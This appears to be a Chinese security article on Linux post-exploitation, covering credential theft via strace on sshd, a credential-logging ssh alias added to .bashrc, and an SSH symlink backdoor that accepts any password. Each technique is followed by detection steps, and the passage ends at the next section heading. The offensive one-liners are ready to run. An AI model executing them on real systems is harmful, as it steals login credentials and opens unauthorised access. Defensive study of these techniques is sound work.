Linux后渗透常见后门驻留方式分析

引言
当RedTeam拿下了一台服务器并获取到系统较高权限,但不知道服务器的凭证时,RedTeam会采用怎样的技术获取系统凭证呢?又或者,在RedTeam拿下一台服务器,为达到长久控制的目的而专门定制持久化后门(免杀肯定是必须的)的前提下,他们会如何结合系统自身的某些特性,达到持久化控制的效果?
BlueTeam在应急响应的过程中,又该如何尽早地排查出这些后门?为尽到“知己知彼,百战不殆”,本文将对linux下常见的权限维持技术和凭据收集技术进行解析,希望能对从事攻防对抗研究的小伙伴有所帮助 。

Strace获取登陆凭证
1
strace获取登陆凭证原理
凭证将会通过strace追踪到系统sshd进程,并将追踪到的信息保存到log文件,这些信息中包含了系统明文密码以及ssh私钥 。
2
strace获取登陆凭证实现
strace获取登陆凭证利用条件包括:
内核版本>Linux Kernel 3.4支持完全限制或禁用ptrace的功能 。
具有kernel.yama.ptrace_scope限制和禁用 。
具体实现
获取sshd进程明文密码 。可使用括号执行程序,然后退出当前shell,并用ssh登录其他主机 。
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

Linux后渗透常见后门驻留方式分析

文章插图
图1
strace捕获到的凭证将会保存在/tmp/.sshd.log文件下:
Linux后渗透常见后门驻留方式分析

文章插图
图2
3
Strace获取登陆凭证检测响应
1)使用ps工具查看系统中的strace进程 。
Linux后渗透常见后门驻留方式分析

文章插图
图3
2)使用kill工具阻断进程运行 。

Alias获取登陆凭证
1
Alias获取登陆凭证原理
给指定程序设置命令别名,使运行指定程序时自动strace读写系统调用,收集登录凭证 。
2
Alias获取登陆凭证实现
1)在终端中执行 。
# 添加命令别名vi ~/.bashrc或者/etc/bashrcalias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'# 使命令别名立即生效source ~/.bashrc
Linux后渗透常见后门驻留方式分析

文章插图
图5
2)通过查看日志文件,能看到有系统凭证的信息 。
Linux后渗透常见后门驻留方式分析

文章插图
图6
3
Alias获取登陆凭证检测响应
1)使用alias工具即可发现异常
Linux后渗透常见后门驻留方式分析

文章插图
图7
2)打开.bashrc文件,查看并清除后门命令 。
Linux后渗透常见后门驻留方式分析

文章插图
图8

SSH软连接后门
1
SSH软连接后门原理
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),su在pam_rootok只检测uid 0即认证成功,导致了可以使用任意密码登录 。
2
SSH软连接后门实现
1)在靶机上安装ssh后门,执行 。
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
2)攻击机中用ssh终端连接工具,密码随意填写即可实现任意密码登录 。
Linux后渗透常见后门驻留方式分析

文章插图
图9
笔者在测试环境下还发现有”chsh”、”chfn”等shell程序包含pam_rootok.so,均能够用于SSH软连接后门的植入 。
Linux后渗透常见后门驻留方式分析

文章插图
图10
3
SSH软连接后门检测响应
1)查看系统当前端口状态 。
这类后门会开启监听端口,我们可以先查看/etc/pam.d/目录下有哪些文件包含该配置,然后通过管道符找到异常端口及进程,再通过进程找到异常文件、杀掉进程、关闭PAM认证即可 。
find /etc/pam.d/ |xargs grep "pam_rootok.so".NETstat -antlp |grep -E "su|chsh|chfn|runuser"
Linux后渗透常见后门驻留方式分析

文章插图
图11
2)查看系统登录日志
Linux后渗透常见后门驻留方式分析

文章插图
图12

SSH公钥免密登陆后门
1
公钥免密后门原理


推荐阅读